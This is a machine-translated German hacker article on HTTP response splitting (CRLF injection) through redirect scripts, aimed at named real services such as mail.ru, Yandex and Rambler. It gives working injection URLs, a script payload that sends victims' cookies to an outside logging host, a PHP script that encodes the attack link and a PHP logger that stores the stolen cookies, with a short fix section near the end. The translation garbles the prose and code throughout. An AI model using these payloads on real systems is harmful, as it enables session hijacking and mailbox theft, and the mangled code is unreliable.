This page has been robot translated, sorry for typos if any. Original content here.

HTTP-Splitting-Schwachstelle

Der Artikel beschreibt die praktische Anwendung einer Schwachstelle, die als HTTP-Splitting-Schwachstelle bekannt ist

Ein einfacher Header () unter einem Mikroskop

Während wir die Weiten des Internets durchqueren, sehen wir oft die URL des Formulars: http://anyhost.com/redirect.php?url=http://otherhost.com Der einfältige Benutzer hört nicht lange auf zu denken, er klickt einfach darauf und kümmert sich um otherhost.com. Ein neugieriger Benutzer ersetzt die URL-Adresse für die Adresse seiner Hompagie, er ist auch von der Krümmung des Skripts überzeugt.
Neben einfachen auch neugierig im Internet leben eher neugierige Nutzer. Sie fahren einen Link in AccessDiver und fangen an, die Arbeit des Skripts zu lernen.

1. Die Essenz des Fehlers.
2. Praktische Anwendung.
3. Ort der Fehlerhäufigkeit.
4. Schutzmittel.

Für Tankwagen schlage ich vor, dass AccessDiver "Hakre" ist, wie es in einer Nation üblich ist, eine Waffe auszudrücken. Download ist auf dem Offsite- Projekt erlaubt. Zum Zeitpunkt des Schreibens dieses Textes war die neueste Version des Dienstprogramms 4.173. Das Programm ist vor allem für seine HTTP-Debugger-Funktion bekannt. Sie können es verwenden, indem Sie in den Expertenmodus gehen und auch die entsprechende Funktion im Menü Extras auswählen (F4, dann Strg + F9 - abhängig von der Version der Schlüssel könnte geändert werden). Als nächstes werden wir nicht die Sorgfalt für sein Tuning betonen, jeder Schüler wird mit dem Taucher fertig werden.

Für Experimente haben wir uns für mail.ru entschieden, da dies der bekannteste E-Mail-Dienst im Runen ist. Auch der Leser wird besonders daran interessiert sein, etwas über den Fehler dieses Projekts zu erfahren;) Gehen wir zum Link http://go.mail.ru/urltracker?url=http:/ /www.security-teams.net . Wir werden auf das am meisten ausgewählte Portal für Computersicherheit geworfen;). Wir fügen die Website den Lesezeichen hinzu und kehren zur E-Mail zurück. Schreiben Sie den Link, der uns interessiert, in das Feld HTTP-Adresse, setzen Sie Mode gleich Get, klicken Sie auf Verbinden.
Wir sehen die HTTP-Header, die vom Server zurückgegeben werden, wie im Screenshot:



Achten wir auf die unterstrichene Zeile. Nachdem wir uns im Header Location: getroffen haben, trägt uns der Browser bedingungslos zur angegebenen URL. Daher können wir den Benutzer mit einem Link schubsen, wie auf einer Mail, aber er kommt überhaupt nicht zur Mail. All das ist wunderbar, aber in der Praxis kann sich nichts entfremden.

Beachten wir , dass die Zeilen im Header durch zwei Zeichen 0Dh 0Ah getrennt sind . Und was, wenn Sie sie am Ende des Links zuweisen? Lassen Sie uns sehen, was wird der Server auf den Einspruch gegen die Anfrage http://go.mail.ru/urltracker?url=null%0D%0Ahacked_by:%20drmist zurückgeben :



Wie interessant. So können wir den Server zwingen, fast jeden Header auszugeben. Ändern Sie beispielsweise benutzerdefinierte Cookies. Aber es ist immer noch nicht so interessant wie das, was auf uns wartet. Interessant ist, dass die Überschriften durch die Sequenz 0Dh 0Ah 0Dh 0Ah vom Körper des Aktes getrennt sind . Können wir jede Seite komplett verschenken? Wir geben http://go.mail.ru/urltracker?url=% 0D% 0A% 0D% 0A <script> alert (document.cookie); </ script> <! - auch ein:



Alles was gelb ist, ist der Text des Dokuments selbst. Wenn JavaScript im Browser aktiviert ist, wird durch Klicken auf den Link das Meldungsfeld mit unseren Cookies angezeigt. Um einen XSS-Angriff durchzuführen, benötigen Sie:
1) Erstellen Sie eine Seite vom Typ <script> document.location = 'http://drmist.ru/log.php?'+document.cookie; </ script>
2) Übersetze es in url-encode mit dem Skript:

<? php
$ url = "http://go.mail.ru/urltracker?url=";
$ s = "<script> document.location = 'http: //drmist.ru/log.php?'";
$ s. = "+ document.cookie; </ script>";
$ res = "";
für ($ i = 0; $ i <strlen ($ s); $ i ++)
{
$ res. = "%";
$ t = ord ($ s [$ i]);
if ($ t <16)
$ res. = "0";
$ res. = dechex ($ t);
}

echo $ url. "% 0d% 0a% 0d% 0a". $ res;
?>

Wir bekommen:
http://go.mail.ru/urltracker?url=%0d%0a%0d%0a%3c%73%63 ... und so weiter. (**)

3) schreibe das Skript log.php und fülle es mit drmist.ru:
<? php
$ fid = fopen ("../log.txt", "a");
fputs ($ fid, $ _SERVER ["QUERY_STRING"]. "\ r \ r \ r");
fclose ($ fid);
Kopfzeile ("Location: http://www.mail.ru");
?>

Nun ist es erlaubt, eine magische Referenz (**) zu schmieden, um auch die Kekse des Opfers zu erhalten.
Sie dürfen viele nützliche Dinge tun, um zum Beispiel auf die Post zugreifen zu können, aber darüber haben wir zu einem anderen Zeitpunkt auch vom Hauptthema abgelenkt.

Natürlich müssen Sie nicht zur E-Mail fahren, es ist eine Dummy-Ressource, Scheiße und kann schließlich nicht von unserer Sandbox sein. Es ist üblich, dass alle Leute einen Fehler machen, aber die Admins von mail.ru werden immer seltener Fehler machen. Echte Bugs bleiben weiterhin bestehen. Die Menschen schweigen in keiner Weise aus Gier, sondern aus Angst vor einer unangemessenen Reaktion der Verwaltung auf ihre Entdeckung, die laut Statistik einen Platz hat. Glücklicherweise garantiert das Vorhandensein von XSS immer noch keinen Zugriff auf das Postfach. Ich bin mir sicher, dass der Fehler behoben sein wird. Spätestens - nach 2 Tagen. Verwundbar nicht nur mail.ru. Ich empfehle dringend, dass Sie lesen:
http://yandex.ru/redir/?url=[XSS]
http://rambler.ru//click?_URL=[XSS]

Ehrlich gesagt waren wir überrascht von der Zeit, als ich erfuhr, dass solche Sicherheitslücken vor 3 Jahren auf securitylab.ru geschrieben wurden (siehe Einführung von CRLF in PHP function header () vom 10.09.2002), aber was die praktische Verwendung des Fehlers betrifft, tun wir das nicht Ich habe es noch nie gehört, ich fand das Thema relevant. Durch dieses blah blah, ist es zulässig, Bugs in Yandex zu benennen und auch zu mailen.

Korrigieren Sie den Fehler ist nicht schwierig. Lass das verwundbare Skript essen:

<?
if (! isset ($ url))
$ url = "http://www.mail.ru";

Kopfzeile ("Ort: $ url");

?>

Wir machen ihn unverwundbar:

header ("Ort:" .urlencode ($ url));

Wenn eine Weiterleitung nur auf der Website geplant ist, sollten Sie Folgendes tun:

Kopfzeile ("Location: http://www.mail.ru/".urlencode($url));

Das ist wahrscheinlich alles, was wir sagen wollten. Lassen Sie mich als nächstes ein paar weitere XSS vorschlagen:

http://talk.mail.ru/article.html?ID=31836089&page=1 "> <h1> XSS </ h1>
http://www.pochta.ru/?lng=de "<h1> XSS </ h1>